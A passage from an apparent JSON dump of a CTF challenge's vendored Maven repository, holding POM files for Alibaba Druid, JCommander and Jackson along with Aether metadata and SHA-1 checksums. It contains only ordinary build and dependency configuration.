<javadoc.skip>false</javadoc.skip>\n\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<jdk.version>1.6</jdk.version>\n\t</properties>\n\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>local-file</id>\n\t\t\t<url>file://${basedir}/lib/</url>\n\t\t\t<layout>default</layout>\n\t\t</repository>\n\t</repositories>\n\n\t<distributionManagement>\n\t\t<repository>\n\t\t\t<id>opensesame</id>\n\t\t\t<url>dav:http://code.alibabatech.com/mvn/releases/</url>\n\t\t</repository>\n\t\t<snapshotRepository>\n\t\t\t<id>opensesame</id>\n\t\t\t<url>dav:http://code.alibabatech.com/mvn/snapshots/</url>\n\t\t</snapshotRepository>\n\t</distributionManagement>\n\n\t<developers>\n\t\t<developer>\n\t\t\t<id>wenshao</id>\n\t\t\t<name>wenshao</name>\n\t\t\t<email>szujobs@hotmail.com</email>\n\t\t</developer>\n\t</developers>\n\n\t<scm>\n\t\t<url>https://wenshao@github.com/AlibabaTech/druid.git</url>\n\t\t<connection>scm:git:https://wenshao@github.com/AlibabaTech/druid.git</connection>\n\t</scm>\n\n\t<organization>\n\t\t<name>Alibaba Group</name>\n\t\t<url>http://code.alibabatech.com/</url>\n\t</organization>\n\n\t<licenses>\n\t\t<license>\n\t\t\t<name>Apache 2</name>\n\t\t\t<url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n\t\t\t<distribution>repo</distribution>\n\t\t\t<comments>A business-friendly OSS license</comments>\n\t\t</license>\n\t</licenses>\n\n\t<issueManagement>\n\t\t<system>Jira</system>\n\t\t<url>http://code.alibabatech.com/jira/browse/DRUID</url>\n\t</issueManagement>\n\t<build>\n\t\t<extensions>\n\t\t\t<extension>\n\t\t\t\t<groupId>org.apache.maven.wagon</groupId>\n\t\t\t\t<artifactId>wagon-webdav</artifactId>\n\t\t\t\t<version>1.0-beta-2</version>\n\t\t\t</extension>\n\t\t</extensions>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t\t<source>${jdk.version}</source>\n\t\t\t\t\t<target>${jdk.version}</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t\t\t<version>2.12.4</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<includes>\n\t\t\t\t\t\t<include>**/bvt/**/*.java</include>\n\t\t\t\t\t</includes>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t<version>2.2.1</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>attach-sources</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t\t<configuration>\n\t\t\t\t\t<attach>true</attach>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\n\t\t\t<plugin>\n\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t<version>2.9</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>attach-javadoc</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t\t<configuration>\n\t\t\t\t\t<skip>${javadoc.skip}</skip>\n\t\t\t\t\t<show>public</show>\n\t\t\t\t\t<charset>UTF-8</charset>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t\t<docencoding>UTF-8</docencoding>\n\t\t\t\t\t<links>\n\t\t\t\t\t\t<link>http://docs.oracle.com/javase/6/docs/api</link>\n\t\t\t\t\t</links>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\n\t\t\t<plugin>\n\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t<version>1.4</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<skip>${gpg.skip}</skip>\n\t\t\t\t</configuration>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>sign-artifacts</id>\n\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\n\t\t\t<!-- http://code.google.com/p/maven-license-plugin/wiki/HowTo -->\n\t\t\t<plugin>\n\t\t\t\t<!-- Working with multi-module projects -->\n\t\t\t\t<inherited>false</inherited>\n\t\t\t\t<groupId>com.mycila.maven-license-plugin</groupId>\n\t\t\t\t<artifactId>maven-license-plugin</artifactId>\n\t\t\t\t<version>1.10.b1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<header>${basedir}/doc/license.txt</header>\n\t\t\t\t\t<failIfMissing>true</failIfMissing>\n\t\t\t\t\t<aggregate>true</aggregate>\n\t\t\t\t\t<strictCheck>true</strictCheck>\n\t\t\t\t\t<properties>\n\t\t\t\t\t\t<!-- <year>2012</year> -->\n\t\t\t\t\t</properties>\n\t\t\t\t\t<mapping>\n\t\t\t\t\t\t<java>SLASHSTAR_STYLE</java>\n\t\t\t\t\t</mapping>\n\t\t\t\t\t<includes>\n\t\t\t\t\t\t<include>src/main/java/**/*.java</include>\n\t\t\t\t\t</includes>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t</configuration>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>check-headers</id>\n\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>check</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t\t\t<version>2.4</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<archive>\n\t\t\t\t\t\t<manifest>\n\t\t\t\t\t\t\t<addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n\t\t\t\t\t\t</manifest>\n\t\t\t\t\t\t<manifestEntries>\n\t\t\t\t\t\t\t<Implementation-Build>${buildNumber}</Implementation-Build>\n\t\t\t\t\t\t</manifestEntries>\n\t\t\t\t\t</archive>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>buildnumber-maven-plugin</artifactId>\n\t\t\t\t<version>1.1</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>validate</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>create</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t\t<configuration>\n\t\t\t\t\t<format>{0,date,yyyy-MM-dd HH:mm:ss}</format>\n\t\t\t\t\t<items>\n\t\t\t\t\t\t<item>timestamp</item>\n\t\t\t\t\t</items>\n\t\t\t\t\t<doCheck>false</doCheck>\n\t\t\t\t\t<doUpdate>true</doUpdate>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\t<pluginRepositories>\n\t\t<pluginRepository>\n\t\t\t<id>mc-release</id>\n\t\t\t<name>Local Maven repository of releases</name>\n\t\t\t<url>http://mc-repo.googlecode.com/svn/maven2/releases</url>\n\t\t\t<releases>\n\t\t\t\t<enabled>true</enabled>\n\t\t\t</releases>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>false</enabled>\n\t\t\t</snapshots>\n\t\t</pluginRepository>\n\t</pluginRepositories>\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>default-profile</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<file>\n\t\t\t\t\t<exists>${env.JAVA_HOME}/lib/jconsole.jar</exists>\n\t\t\t\t</file>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<toolsjar>${env.JAVA_HOME}/lib/tools.jar</toolsjar>\n\t\t\t\t<jconsolejar>${env.JAVA_HOME}/lib/jconsole.jar</jconsolejar>\n\t\t\t</properties>\n\n\t\t\t<dependencies>\n\t\t\t\t<dependency>\n\t\t\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t\t\t<artifactId>jconsole</artifactId>\n\t\t\t\t\t<version>1.6.0</version>\n\t\t\t\t\t<scope>system</scope>\n\t\t\t\t\t<systemPath>${jconsolejar}</systemPath>\n\t\t\t\t\t<optional>true</optional>\n\t\t\t\t</dependency>\n\t\t\t\t<dependency>\n\t\t\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t\t\t<artifactId>tools</artifactId>\n\t\t\t\t\t<version>1.6.0</version>\n\t\t\t\t\t<scope>system</scope>\n\t\t\t\t\t<systemPath>${toolsjar}</systemPath>\n\t\t\t\t\t<optional>true</optional>\n\t\t\t\t</dependency>\n\t\t\t</dependencies>\n\t\t</profile>\n\t\t<profile>\n\t\t\t<id>mac-profile</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>false</activeByDefault>\n\t\t\t\t<file>\n\t\t\t\t\t<exists>${java.home}/../Classes/jconsole.jar</exists>\n\t\t\t\t</file>\n\t\t\t</activation>\n\t\t\t<dependencies>\n\t\t\t\t<dependency>\n\t\t\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t\t\t<artifactId>jconsole</artifactId>\n\t\t\t\t\t<version>1.6.0</version>\n\t\t\t\t\t<scope>system</scope>\n\t\t\t\t\t<systemPath>${java.home}/../Classes/jconsole.jar</systemPath>\n\t\t\t\t</dependency>\n\t\t\t</dependencies>\n\t\t</profile>\n\t</profiles>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>javax.transaction</groupId>\n\t\t\t<artifactId>jta</artifactId>\n\t\t\t<version>1.1</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>servlet-api</artifactId>\n\t\t\t<version>2.5</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-logging</groupId>\n\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t<version>1.1.1</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-orm</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-ibatis</artifactId>\n\t\t\t<version>2.0.8</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis</groupId>\n\t\t\t<artifactId>mybatis</artifactId>\n\t\t\t<version>3.1.1</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis</groupId>\n\t\t\t<artifactId>mybatis-spring</artifactId>\n\t\t\t<version>1.1.1</version>\n\t\t\t<scope>provided</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.16</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.24</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>net.sourceforge.jtds</groupId>\n\t\t\t<artifactId>jtds</artifactId>\n\t\t\t<version>1.3.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>postgresql</groupId>\n\t\t\t<artifactId>postgresql</artifactId>\n\t\t\t<version>9.1-901-1.jdbc4</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<!-- <dependency> <groupId>com.oracle</groupId> <artifactId>ojdbc5</artifactId> \n\t\t\t<version>11.2.0.3</version> <scope>provided</scope> </dependency> -->\n\n\t\t<dependency>\n\t\t\t<groupId>com.oracle</groupId>\n\t\t\t<artifactId>ojdbc14</artifactId>\n\t\t\t<version>10.2.0.2</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.microsoft.sqlserver</groupId>\n\t\t\t<artifactId>sqljdbc4</artifactId>\n\t\t\t<version>4.0.2206.100</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>${junit.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.derby</groupId>\n\t\t\t<artifactId>derby</artifactId>\n\t\t\t<version>10.9.1.0</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-dbcp</groupId>\n\t\t\t<artifactId>commons-dbcp</artifactId>\n\t\t\t<version>1.4</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.jolbox</groupId>\n\t\t\t<artifactId>bonecp</artifactId>\n\t\t\t<version>0.7.1.RELEASE</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.jolbox</groupId>\n\t\t\t<artifactId>bonecp-spring</artifactId>\n\t\t\t<version>0.7.1.RELEASE</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>proxool</groupId>\n\t\t\t<artifactId>proxool</artifactId>\n\t\t\t<version>0.9.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>proxool</groupId>\n\t\t\t<artifactId>proxool-cglib</artifactId>\n\t\t\t<version>0.9.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>c3p0</groupId>\n\t\t\t<artifactId>c3p0</artifactId>\n\t\t\t<version>0.9.1.2</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.tomcat</groupId>\n\t\t\t<artifactId>tomcat-jdbc</artifactId>\n\t\t\t<version>7.0.34</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.ibatis</groupId>\n\t\t\t<artifactId>ibatis-sqlmap</artifactId>\n\t\t\t<version>2.3.4.726</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.h2database</groupId>\n\t\t\t<artifactId>h2</artifactId>\n\t\t\t<version>1.3.170</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t<artifactId>hibernate-core</artifactId>\n\t\t\t<version>4.1.9.Final</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-dbutils</groupId>\n\t\t\t<artifactId>commons-dbutils</artifactId>\n\t\t\t<version>1.5</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.nutz</groupId>\n\t\t\t<artifactId>nutz</artifactId>\n\t\t\t<version>1.b.47</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.taobao.tbdatasource</groupId>\n\t\t\t<artifactId>tbdatasource</artifactId>\n\t\t\t<version>2.0.2</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.1.33</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/alibaba/druid/0.2.23/druid-0.2.23.pom.sha1",
    "content": "c1e030866462761d2ebd50763e9d040e808e7917"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/beust/jcommander/1.27/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\njcommander-1.27.jar>central=\njcommander-1.27.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/beust/jcommander/1.27/jcommander-1.27.jar.sha1",
    "content": "58c9cbf0f1fa296f93c712f2cf46de50471920f9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/beust/jcommander/1.27/jcommander-1.27.pom",
    "content": "<!--\n\n    Copyright (C) 2010 the original author or authors.\n    See the notice.md file distributed with this work for additional\n    information regarding copyright ownership.\n\n    Licensed under the Apache License, Version 2.0 (the \"License\");\n    you may not use this file except in compliance with the License.\n    You may obtain a copy of the License at\n\n        http://www.apache.org/licenses/LICENSE-2.0\n\n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>com.beust</groupId>\n  <artifactId>jcommander</artifactId>\n  <packaging>jar</packaging>\n  <name>JCommander</name>\n  <version>1.27</version>\n  <description>A Java framework to parse command line options with annotations.</description>\n  <url>http://beust.com/jcommander</url>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:git:git@github.com:cbeust/jcommander.git</connection>\n    <developerConnection>scm:git:git@github.com:cbeust/jcommander.git</developerConnection>\n    <url>git@github.com:cbeust/jcommander.git</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Cedric Beust</name>\n    </developer>\n  </developers>\n\n  <parent>\n    <groupId>org.sonatype.oss</groupId>\n    <artifactId>oss-parent</artifactId>\n    <version>3</version>\n  </parent>\n\n  <build>\n    <plugins>\n\n      <!-- Bundle sources -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-source-plugin</artifactId>\n        <version>2.1.1</version>\n        <executions>\n          <execution>\n            <id>attach-sources</id>\n              <goals>\n                <goal>jar</goal>\n              </goals>\n            </execution>\n        </executions>\n      </plugin>\n\n      <!-- Compilation -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>2.3.1</version>\n        <configuration>\n          <source>1.5</source>\n          <target>1.5</target>\n          <encoding>UTF-8</encoding>\n        </configuration>\n      </plugin>\n\n      <!-- Resource handling -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-resources-plugin</artifactId>\n        <version>2.4.1</version>\n        <configuration>\n          <encoding>UTF-8</encoding>\n        </configuration>\n      </plugin>\n\n      <!-- OSGi manifest creation -->\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <version>2.1.0</version>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n            <configuration>\n              <instructions>\n                <_versionpolicy>$(@)</_versionpolicy>\n              </instructions>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <!-- Add OSGi manifest in JAR -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.3.1</version>\n        <configuration>\n          <archive>\n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\n      </plugin>\n\n      <!-- Tests -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.10</version>\n        <configuration>\n          <skipTests>true</skipTests>\n        </configuration>\n        <dependencies>\n          <dependency>\n            <groupId>com.beust</groupId>\n            <artifactId>jcommander</artifactId>\n            <version>1.13</version>\n<!--\n            <version>${project.version}</version>\n-->\n           </dependency>\n        </dependencies>\n      </plugin>\n\n      <!-- Generating Javadoc -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.7</version>\n        <configuration>\n          <excludePackageNames>*.internal</excludePackageNames>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <dependencies>\n  \t<dependency>\n  \t\t<groupId>org.testng</groupId>\n  \t\t<artifactId>testng</artifactId>\n  \t\t<version>6.1.1</version>\n  \t\t<type>jar</type>\n  \t\t<scope>test</scope>\n        <exclusions>\n            <exclusion>\n                <artifactId>jcommander</artifactId>\n                <groupId>com.beust</groupId>\n            </exclusion>\n        </exclusions>\n  \t</dependency>\n  </dependencies>\n\n  <profiles>\n    \n    <!--\n        Do a license check by running       : mvn -P license license:check\n        UPdate the license check by running : mvn -P license license:format\n      -->\n    <profile>\n      <id>license</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>com.mycila.maven-license-plugin</groupId>\n            <artifactId>maven-license-plugin</artifactId>\n            <version>1.7.0</version>\n            <configuration>\n              <quiet>false</quiet>\n              <header>src/main/license/license-header.txt</header>\n              <includes>\n                  <include>src/**</include>\n                  <include>pom.xml</include>\n              </includes>\n              <excludes>\n                <exclude>**/.git/**</exclude>\n                <!-- ignore files produced during a build -->\n                <exclude>**/target/**</exclude>\n              </excludes>\n              <useDefaultExcludes>false</useDefaultExcludes>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- Signing with gpg -->\n    <!--\n    Sign the artifacts by calling\n    mvn -P sign [..]\n    -->\n    <profile>\n      <id>sign</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/beust/jcommander/1.27/jcommander-1.27.pom.sha1",
    "content": "cb6b3ea1e2468414548a75ff070ad2d48b8f6af8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-annotations/2.5.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\njackson-annotations-2.5.3.jar>central=\njackson-annotations-2.5.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-annotations/2.5.3/jackson-annotations-2.5.3.jar.sha1",
    "content": "ade455ede4797ed450ca6a56e589a81278fc8f45"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-annotations/2.5.3/jackson-annotations-2.5.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion> \n  <parent>\n    <groupId>com.fasterxml.jackson</groupId>\n    <artifactId>jackson-parent</artifactId>\n    <version>2.5.1</version>\n  </parent>\n\n  <groupId>com.fasterxml.jackson.core</groupId>\n  <artifactId>jackson-annotations</artifactId>\n  <name>Jackson-annotations</name>\n  <version>2.5.3</version>\n  <packaging>bundle</packaging>\n  <description>Core annotations used for value types, used by Jackson data binding package.\n  </description>\n\n  <url>http://github.com/FasterXML/jackson</url>\n  <scm>\n    <connection>scm:git:git@github.com:FasterXML/jackson-annotations.git</connection>\n    <developerConnection>scm:git:git@github.com:FasterXML/jackson-annotations.git</developerConnection>\n    <url>http://github.com/FasterXML/jackson-annotations</url>\n    <tag>jackson-annotations-2.5.3</tag>\n  </scm>\n\n  <properties>\n    <osgi.export>com.fasterxml.jackson.annotation.*;version=${project.version}</osgi.export>\n  </properties>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-annotations/2.5.3/jackson-annotations-2.5.3.pom.sha1",
    "content": "849aee821b80d041c7aff881bb8c792fbcf1c884"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-core/2.5.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\njackson-core-2.5.3.jar>central=\njackson-core-2.5.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-core/2.5.3/jackson-core-2.5.3.jar.sha1",
    "content": "a8b8a6dfc8a17890e4c7ff8aed810763d265b68b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-core/2.5.3/jackson-core-2.5.3.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion> \n  <parent>\n    <groupId>com.fasterxml.jackson</groupId>\n    <artifactId>jackson-parent</artifactId>\n    <version>2.5.1</version>\n  </parent>\n\n  <groupId>com.fasterxml.jackson.core</groupId>\n  <artifactId>jackson-core</artifactId>\n  <name>Jackson-core</name>\n  <version>2.5.3</version>\n  <packaging>bundle</packaging>\n  <description>Core Jackson abstractions, basic JSON streaming API implementation\n  </description>\n\n  <url>https://github.com/FasterXML/jackson</url>\n  <scm>\n    <connection>scm:git:git@github.com:FasterXML/jackson-core.git</connection>\n    <developerConnection>scm:git:git@github.com:FasterXML/jackson-core.git</developerConnection>\n    <url>http://github.com/FasterXML/jackson-core</url>    \n    <tag>jackson-core-2.5.3</tag>\n  </scm>\n\n  <properties>\n    <osgi.export>com.fasterxml.jackson.core;version=${project.version},\ncom.fasterxml.jackson.core.*;version=${project.version}\n    </osgi.export>\n\n    <!-- Generate PackageVersion.java into this directory. -->\n    <packageVersion.dir>com/fasterxml/jackson/core/json</packageVersion.dir>\n    <packageVersion.package>${project.groupId}.json</packageVersion.package>\n  </properties>\n\n 